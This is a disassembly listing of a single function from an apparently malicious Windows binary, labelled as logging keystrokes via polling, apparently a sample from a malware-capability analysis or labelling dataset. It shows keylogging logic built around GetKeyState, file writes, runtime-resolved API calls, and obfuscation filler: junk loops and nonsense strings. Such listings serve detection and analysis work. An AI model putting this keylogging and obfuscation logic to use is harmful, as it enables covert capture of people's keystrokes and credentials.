Function at 0x1003e2a8
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x1006154d
call fcn.1005fa24
sub esp, 0x140
push ebx
push esi
mov dword [ebp - 0x20], 0x4f7a
mov esi, ecx
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
cmp dword [ebp - 0x20], 0x52de
mov dword [ebp - 0x24], esi
jle 0x1003e318
push ebx
push 0x3ea
push ebx
push 0xb4c
push 0x66b
call dword [sym.imp.GDI32.dll_ExtCreatePen]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x1007cff8
cdq
push edx
push eax
call fcn.10002e68
inc edi
cmp edi, 0x3867
jl 0x1003e2f0
inc esi
cmp esi, 0x5f12
jl 0x1003e2ee
mov esi, dword [ebp - 0x24]
cmp byte [ebp + 0x18], 0
je 0x1003e910
mov eax, dword [esi]
cmp eax, dword [esi + 4]
je 0x1003e905
lea eax, [ebp - 0x80]
mov dword [ebp - 0x80], ebx
push eax
push 0x1000
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
call fcn.10039cd0
mov dword [ebp - 4], ebx
mov edi, 0x308b
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x58]
push dword [ebp - 0x58]
sar eax, 1
push eax
push edi
push 0x5a13
call fcn.1002121b
pop ecx
pop ecx
call eax
push dword [ebp - 0x58]
lea ecx, [ebp - 0x9c]
call fcn.10002fa5
push 0x299f
mov byte [ebp - 4], 1
call fcn.10039739
mov dword [esp], 0x25fb
mov dl, 1
push 0x1ab7
movzx eax, ax
push 0x79fe
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x9c]
push ecx
push eax
lea eax, [ebp - 0x60]
push eax
call fcn.1003db2a
add esp, 0xc
lea eax, [ebp - 0x9c]
mov edx, 0x4545
mov ecx, 0x4027
push 0x3178
push eax
push 1
call fcn.1003ddd0
add esp, 0x18
lea eax, [ebp - 0x9c]
cmp dword [ebp - 0x88], 8
cmovae eax, dword [ebp - 0x9c]
push ebx
push eax
push edi
push 0x454f
call fcn.1002121b
pop ecx
pop ecx
call eax
push dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x9c]
call fcn.10025d8a
push 0x37b
push 0x2323
push 1
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], ebx
push 1
push eax
mov edx, esi
mov cl, 1
call fcn.1003dfe3
add esp, 0x14
mov byte [ebp - 0x19], bl
mov eax, ebx
mov dword [ebp - 0x18], ebx
cmp eax, 0x12c
jae 0x1003e8fa
lea eax, [ebp - 0x9c]
push eax
lea ecx, [ebp - 0xb4]
call fcn.10002f7d
push 0x10
pop edx
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 2
call fcn.1002778f
push ecx
push ecx
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0xb4]
call fcn.100056a3
push 0x65
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x3c], 0x1d026e03
mov dword [ebp - 0x38], 0x4b015600
mov word [ebp - 0x34], 0xd501
mov word [ebp - 0x6a], ax
pop esi
mov dword [ebp - 0x48], ecx
cmp esi, 8
jne 0x1003e4aa
push 2
pop ecx
mov dword [ebp - 0x48], ecx
jmp 0x1003e4e6
movzx edx, byte [ebp + esi - 0x3b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x3e]
movzx eax, word [ebp + eax*2 - 0x70]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x3c]
mov word [ebp + eax*2 - 0x70], cx
lea eax, [ebp - 0x48]
push eax
push 1
push 0x4c70
push ecx
call fcn.1003e100
mov ecx, dword [ebp - 0x48]
add esp, 0x10
add esi, 2
cmp esi, 0xa
jb 0x1003e49d
xor eax, eax
mov dword [ebp - 0xd4], 7
mov word [ebp - 0x68], ax
lea ecx, [ebp - 0xe8]
mov word [ebp - 0xe8], ax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0xd8], ebx
call fcn.100033fa
push ecx
push ecx
lea eax, [ebp - 0xe8]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0xb4]
call fcn.100056a3
push ebx
push 1
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 3
call fcn.10003819
xor eax, eax
lea edi, [ebp - 0x70]
cmp dword [ebp - 0xa0], 8
stosd dword es:[edi], eax
push ebx
push 0x80
push 2
stosd dword es:[edi], eax
push ebx
push ebx
push 0x40000000
stosw word es:[edi], ax
lea eax, [ebp - 0xb4]
cmovae eax, dword [ebp - 0xb4]
mov edi, 0x308b
push eax
push edi
push 0x3932
call fcn.1002121b
pop ecx
pop ecx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x1003e5c7
push ebx
lea eax, [ebp - 0xd0]
push eax
push dword [ebp - 0x64]
mov eax, dword [ebp - 0x24]
push dword [eax]
push esi
push edi
push 0x48c5
call fcn.1002121b
pop ecx
pop ecx
call eax
push esi
test eax, eax
push edi
push 0x470a
setne bl
call fcn.1002121b
pop ecx
pop ecx
call eax
test bl, bl
jne 0x1003e5f3
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0x118]
call fcn.10003819
push ebx
push 1
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 1
call fcn.10003819
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
jmp 0x1003e433
xor eax, eax
mov word [ebp - 0x40], 0x4c00
push 0x22
pop esi
mov word [ebp - 0x42], ax
lea ecx, [ebp - 0xcc]
mov word [ebp - 0xcc], ax
xor ebx, ebx
lea eax, [ebp - 0x44]
mov word [ebp - 0x44], si
push eax
mov dword [ebp - 0xb8], 7
mov dword [ebp - 0xbc], ebx
call fcn.100033fa
push 0x181c
push ecx
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 5
push eax
push 0x6fa1
push 0x2d8
push 1
lea edx, [ebp - 0xcc]
mov dword [ebp - 0x44], ebx
mov ecx, 0x21d4
call fcn.1003e18c
mov dword [ebp - 0x18], 0x1514
add esp, 0x18
cmp dword [ebp - 0x18], 0x1530
jle 0x1003e6c8
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x130]
cdq
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003e693
mov eax, dword [eax]
push eax
call fcn.10048e5f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x130]
call fcn.1000330e
inc edi
cmp edi, 0x45ba
jl 0x1003e675
inc esi
cmp esi, 0xf43
jl 0x1003e673
push 0x1153
call dword [sym.imp.USER32.dll_IsIconic]
push 0x22
pop esi
cmp dword [ebp - 0x18], 0x123f
mov dword [ebp - 0x30], 0x3502c100
mov dword [ebp - 0x2c], 0x30201b8
mov word [ebp - 0x28], 0x273
mov byte [ebp - 0x26], 0x7c
jge 0x1003e6f4
push str.giszs_pww_xyhxinu_xfmrc_hrv_xbzia_nvbvw_gkekbg_xhu_ugs_lfeoh_nfwuand
call fcn.10048e5f
pop ecx
mov dword [ebp - 4], 5
mov ecx, ebx
push 2
mov word [ebp - 0x7c], si
pop esi
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x20], esi
cmp esi, 0xb
jae 0x1003e81a
movzx eax, byte [ebp - 0x30]
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1003e735
movzx eax, byte [ebp + esi - 0x30]
dec esi
add esi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x4c], ecx
jmp 0x1003e812
movzx edx, byte [ebp + esi - 0x2f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x32]
movzx ecx, word [ebp + eax*2 - 0x7c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x30]
add ecx, edx
mov word [ebp + eax*2 - 0x7c], cx
mov dword [ebp - 0x5c], 0x5657
cmp dword [ebp - 0x5c], 0x58a9
jle 0x1003e7dc
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x18], 0x6d4e
mov esi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x148]
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003e79b
mov eax, dword [eax]
push eax
call fcn.10048e5f
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x148]
call fcn.1000330e
inc esi
cmp esi, 0x4c88
jl 0x1003e780
dec edi
dec dword [ebp - 0x18]
jne 0x1003e77e
mov edi, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x3828
jl 0x1003e771
push 0x1a23
call dword [sym.imp.USER32.dll_GetKeyState]
mov esi, dword [ebp - 0x20]
push 0x6a76
lea eax, [ebp - 0x4c]
mov ecx, 0x3331
push 1
push eax
call fcn.1003df09
add esp, 0xc
cmp dword [ebp - 0x5c], 0x555f
jge 0x1003e808
push str.iqbdlph_yjpn_bpw_qjzv_glgxecu_xfjuu_mib_htxgopvwf_lhzwpu_wkhyd_dzsdsjbxv
call fcn.10048e5f
pop ecx
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x4c]
add esi, 2
jmp 0x1003e707
xor eax, eax
mov dword [ebp - 0xec], 7
mov word [ebp - 0x74], ax
lea ecx, [ebp - 0x100]
mov word [ebp - 0x100], ax
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0xf0], ebx
call fcn.100033fa
push ecx
push ecx
lea eax, [ebp - 0x100]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0xcc]
call fcn.100056a3
push ebx
push 1
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 5
call fcn.10003819
xor eax, eax
lea edi, [ebp - 0x7c]
stosd dword es:[edi], eax
push ecx
push ecx
push 0x6dc5
stosd dword es:[edi], eax
mov cl, 1
push 0x1df
stosw word es:[edi], ax
lea eax, [ebp - 0x19]
push eax
call fcn.1003e130
add esp, 0x14
lea edx, [ebp - 0x9c]
lea ecx, [ebp - 0xcc]
call fcn.1003cd92
mov ecx, dword [ebp + 0x10]
push ebx
push 1
mov dword [ecx], eax
lea ecx, [ebp - 0xcc]
call fcn.10003819
push ebx
push 1
lea ecx, [ebp - 0x118]
call fcn.10003819
push ebx
push 1
lea ecx, [ebp - 0xb4]
call fcn.10003819
push ebx
push 1
lea ecx, [ebp - 0x9c]
call fcn.10003819
lea ecx, [ebp - 0x58]
call fcn.10039d57
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 2
jmp 0x1003e8d3
mov eax, dword [ebp + 0x10]
mov dword [eax], 1
jmp 0x1003e8e9
mov eax, dword [ebp + 0x1c]
cmp byte [eax], 0
je 0x1003e924
push 0x17f8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x20], 0x4f3d
jge 0x1003e8e9
mov edx, str.wsu_nxvyxsw_xowrlsdd_rumcuxnu_szgydyup
mov ecx, 0x1007cff8
call fcn.100050b8
jmp 0x1003e8e9